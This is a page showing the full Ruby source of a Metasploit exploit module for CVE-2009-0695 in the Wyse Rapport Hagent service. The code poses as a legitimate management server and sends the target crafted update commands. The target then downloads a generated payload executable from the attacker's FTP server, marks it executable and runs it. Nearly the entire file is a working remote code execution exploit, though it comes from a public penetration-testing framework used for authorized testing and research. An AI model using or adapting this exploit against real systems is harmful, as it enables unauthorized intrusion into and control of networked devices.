CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/wyse/hagent_untrusted_hsdata.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'timeout'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ExcellentRanking
10
11
include Msf::Exploit::Remote::Tcp
12
include Msf::Exploit::Remote::FtpServer
13
include Msf::Exploit::EXE
14
15
def initialize(info = {})
16
super(update_info(info,
17
'Name' => 'Wyse Rapport Hagent Fake Hserver Command Execution',
18
'Description' => %q{
19
This module exploits the Wyse Rapport Hagent service by pretending to
20
be a legitimate server. This process involves starting both HTTP and
21
FTP services on the attacker side, then contacting the Hagent service of
22
the target and indicating that an update is available. The target will
23
then download the payload wrapped in an executable from the FTP service.
24
},
25
'Stance' => Msf::Exploit::Stance::Aggressive,
26
'Author' => 'kf',
27
'References' =>
28
[
29
['CVE', '2009-0695'],
30
['OSVDB', '55839'],
31
['US-CERT-VU', '654545'],
32
['URL', 'http://snosoft.blogspot.com/'],
33
['URL', 'http://www.theregister.co.uk/2009/07/10/wyse_remote_exploit_bugs/']
34
],
35
'Privileged' => true,
36
'Payload' =>
37
{
38
'Space' => 2048,
39
'BadChars' => '',
40
},
41
'DefaultOptions' =>
42
{
43
'EXITFUNC' => 'process',
44
},
45
'Platform' => %w{ win linux },
46
'Targets' =>
47
[
48
[ 'Windows XPe x86',{'Platform' => 'win',}],
49
[ 'Wyse Linux x86', {'Platform' => 'linux',}],
50
],
51
'DefaultTarget' => 0,
52
'DisclosureDate' => '2009-07-10'
53
))
54
55
register_options(
56
[
57
OptPort.new('SRVPORT', [ true, "The local port to use for the FTP server", 21 ]),
58
Opt::RPORT(80),
59
])
60
end
61
62
63
def exploit
64
65
if(datastore['SRVPORT'].to_i != 21)
66
print_error("This exploit requires the FTP service to run on port 21")
67
return
68
end
69
70
# Connect to the target service
71
print_status("Connecting to the target")
72
connect()
73
74
# Start the FTP service
75
print_status("Starting the FTP server")
76
start_service()
77
78
# Create the executable with our payload
79
print_status("Generating the EXE")
80
@exe_file = generate_payload_exe
81
if target['Platform'] == 'win'
82
maldir = "C:\\" # Windows
83
malfile = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".exe"
84
co = "XP"
85
elsif target['Platform'] == 'linux'
86
maldir = "//tmp//" # Linux
87
malfile = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".bin"
88
co = "LXS"
89
end
90
@exe_sent = false
91
92
# Start the HTTP service
93
print_status("Starting the HTTP service")
94
wdmserver = Rex::Socket::TcpServer.create({
95
'Context' => {
96
'Msf' => framework,
97
'MsfExploit' => self
98
}
99
})
100
101
# Let this close automatically
102
add_socket(wdmserver)
103
104
wdmserver_port = wdmserver.getsockname[2]
105
print_status("Starting the HTTP service on port #{wdmserver_port}")
106
107
108
fakerapport = Rex::Socket.source_address(rhost)
109
fakemac = "00" + Rex::Text.rand_text(5).unpack("H*")[0]
110
mal = "&V54&CI=3|MAC=#{fakemac}|IP=#{rhost}MT=3|HS=#{fakerapport}|PO=#{wdmserver_port}|"
111
112
# FTP Credentials
113
ftpserver = Rex::Socket.source_address(rhost)
114
ftpuser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
115
ftppass = Rex::Text.rand_text_alphanumeric(rand(8)+1)
116
ftpport = 21
117
ftpsecure = '0'
118
119
incr = 10
120
pwn1 =
121
"&UP0|&SI=1|UR=9" +
122
"|CO \x0f#{co}\x0f|#{incr}" +
123
# "|LU \x0fRapport is downloading HAgent Upgrade to this terminal\x0f|#{incr+1}" +
124
"|SF \x0f#{malfile}\x0f \x0f#{maldir}#{malfile}\x0f|#{incr+1}"
125
126
pwn2 = "|EX \x0f//bin//chmod\xfc+x\xfc//tmp//#{malfile}\x0f|#{incr+1}"
127
128
pwn3 =
129
"|EX \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
130
# "|RB|#{incr+1}" +
131
# "|SV* \x0fHKEY_LOCAL_MACHINE\\Software\\Rapport\\pwnt\x0f 31337\x0f\x0f REG_DWORD\x0f|#{incr+1}" +
132
#"|DF \x0f#{maldir}#{malfile}\x0f|#{incr+1}" +
133
# FTP Paramaters
134
"|&FTPS=#{ftpserver}" + "|&FTPU=#{ftpuser}" + "|&FTPP=#{ftppass}" + "|&FTPBw=10240" + "|&FTPST=200" +
135
"|&FTPPortNumber=#{ftpport}" + "|&FTPSecure=#{ftpsecure}" +
136
"|&M_FTPS=#{ftpserver}" + "|&M_FTPU=#{ftpuser}" + "|&M_FTPP=#{ftppass}" + "|&M_FTPBw=10240" +
137
"|&M_FTPST=200" + "|&M_FTPPortNumber=#{ftpport}" + "|&M_FTPSecure=#{ftpsecure}" +
138
# No clue
139
"|&DP=1|&IT=3600|&CID=7|QUB=3|QUT=120|CU=1|"
140
141
if target['Platform'] == 'win'
142
pwn = pwn1 + pwn3
143
elsif target['Platform'] == 'linux'
144
pwn = pwn1 + pwn2 + pwn3
145
end
146
# Send the malicious request
147
sock.put(mal)
148
149
# Download some response data
150
resp = sock.get_once(-1, 10)
151
print_status("Received: #{resp}")
152
153
if not resp
154
print_error("No reply from the target, this may not be a vulnerable system")
155
return
156
end
157
158
print_status("Waiting on a connection to the HTTP service")
159
begin
160
Timeout.timeout(190) do
161
done = false
162
while (not done and session = wdmserver.accept)
163
req = session.recvfrom(2000)[0]
164
next if not req
165
next if req.empty?
166
print_status("HTTP Request: #{req.split("\n")[0].strip}")
167
168
case req
169
when /V01/
170
print_status("++ connected (#{session.peerhost}), " + "sending payload (#{pwn.size} bytes)")
171
res = pwn
172
when /V02/
173
print_status("++ device sending V02 query...")
174
res = "&00|Existing Client With No Pending Updates|&IT=10|&CID=7|QUB=3|QUT=120|CU=1|"
175
done = true
176
177
when /V55/
178
print_status("++ device sending V55 query...")
179
res = pwn
180
when /POST/ # PUT is used for non encrypted requests.
181
print_status("++ device sending V55 query...")
182
res = pwn
183
done = true
184
else
185
print_status("+++ sending generic response...")
186
res = pwn
187
end
188
189
print_status("Sending reply: #{res}")
190
session.put(res)
191
session.close
192
end
193
end
194
rescue ::Timeout::Error
195
print_status("Timed out waiting on the HTTP request")
196
wdmserver.close
197
disconnect
198
return
199
end
200
201
print_status("Waiting on the FTP request...")
202
stime = Time.now.to_f
203
while(not @exe_sent)
204
break if (stime + 90 < Time.now.to_f)
205
select(nil, nil, nil, 0.25)
206
end
207
208
if(not @exe_sent)
209
print_status("No executable sent :(")
210
end
211
212
wdmserver.close()
213
214
handler
215
disconnect
216
end
217
218
def on_client_command_retr(c,arg)
219
print_status("#{@state[c][:name]} FTP download request for #{arg}")
220
conn = establish_data_connection(c)
221
if(not conn)
222
c.put("425 Can't build data connection\r\n")
223
return
224
end
225
226
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")
227
conn.put(@exe_file)
228
c.put("226 Transfer complete.\r\n")
229
conn.close
230
@exe_sent = true
231
end
232
233
def on_client_command_size(c,arg)
234
print_status("#{@state[c][:name]} FTP size request for #{arg}")
235
c.put("213 #{@exe_file.length}\r\n")
236
end
237
238
239
end
240
241